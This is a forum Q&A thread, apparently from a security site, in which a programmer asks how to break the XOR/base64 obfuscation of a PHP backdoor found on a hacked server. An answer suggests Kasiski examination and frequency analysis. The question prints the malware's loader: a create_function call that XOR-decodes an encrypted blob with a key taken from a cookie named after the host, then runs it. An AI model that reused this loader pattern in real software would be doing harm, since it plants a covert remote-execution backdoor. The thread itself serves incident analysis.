My friend's server was recently hacked and I'm trying to decipher the malicious files I found in hopes of understanding the hack better. I can tell that they're using an XOR/Vigenère cipher and I've tried to learn everything I could about that on my own, but while I am a programmer I'm not a cryptographer and most of what I've found has gone over my head. I'm wondering if someone here would be kind enough to walk me through what I would actually need to do to break the cipher.

Here's the code in question:


$vewusl = 'ZW5jMTMz...XBzazt9KCRzJXMn'; //Truncated from 1165 lines of encrypted data by me, the guy asking this question

$_igophqd = create_function ('$vewusl', igophqd (base64_decode (
), $_COOKIE [str_replace('.', '_', $_SERVER['HTTP_HOST'])]) . ';'); $_igophqd($vewusl); 

function igophqd ($udopz, $bgsqhbl) { return $udopz ^ str_repeat ($bgsqhbl, ceil (strlen ($udopz) / strlen ($bgsqhbl))); }  

I obviously don't have access to the data stored in the cookie. All the malicious files are the same, so I don't think we can use two of them to figure out the key.

Since the encrypted code creates a function, I assume it's executable PHP which likely has spaces, dollar signs, and other coding symbols. I tried using every tool I could find to help with this (xortool, XORRepeatingKeyCrypto, XORSearch & XORStrings, xorbruteforcer, iheartxor, NoMoreXOR) but mind you I'm not really trained to use any of those.

Based on my analysis I suspect the key contains x62 and is either 32, 36, or 28 characters long, but again, I'm not an expert at this stuff. The key may also contain: x16,x17,x0d,x0f,x33,x66,x36,6,T,12...

I understand the programming part just fine, but I thought it might be useful to have the context. Here's the just the cipher I'm trying to break, which I think is XOR encrypted with a repeating key:


And the base64 decoded version:


Or am I supposed to retain the spaces in the base64 decoded output? I'm guessing that I don't retain the spaces and that this is what I should be trying to break, but these are the kinds of things I'm not sure about.

I also created a gist with the full file contents in case we need what's in $vewusl in order to crack this cipher.

  • What's the value of $_SERVER['HTTP_HOST'] ?
    – Mick
    Commented Aug 28, 2017 at 20:50
  • I'll post a more detailed answer later, but as I noted on SO, the key length is definitely 128 bytes. I haven't managed to fully crack the cipher, but I did play around with it a bit, and it looks like the plaintext probably begins with eval (( (igophqd (base64_decode (' followed by 763 bytes of base64 data, ='), and about 60 bytes that I haven't managed to decode yet. Alas, that means that there's yet another base64-and-XOR layer, probably somehow keyed by the $vewusl string, involved. Commented Sep 15, 2017 at 2:43
  • @IlmariKaronen Absolutely amazing! I'm most curious to know how you figured all that out.
    – Beau
    Commented Sep 16, 2017 at 0:04

1 Answer 1


When it comes to break some encrypted texts, you have to take a few hypothesis and check it with caution (it may make you loose a lot of time... believe me).

The first Base64 decoding seems to be quite promising and lead to some hexadecimal blob that you should analyze first before trying to step further.

I would advise you to make a frequency analysis of the hexadecimal blob grouping the characters two by two (sounds pretty common as two characters in hexadecimal is a byte).

I wouldn't be surprised if:

  • All the hexadecimal code in the blob are within the printable zone in the ASCII table.
  • Once translated back into ASCII table, the message will have no meaning.

It should means that another encoding/encryption has been applied to the blob which can be either XOR-encryption or Vigenere encryption.

The good news is that both encryption (Vigenere and XOR) are quite easily breakable with the same approach.

  1. Perform a Kasiski examination of the encrypted text to find the size of the key (the length of the encoding word if it is a Vigenere and the length of the XORing vector if it is XOR-encryption).

  2. Perform a frequency analysis for each letter/byte of the Vigenere/XOR password.

  3. Add some intuition and guessing to reach the full text.

I hope this will help you a bit.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.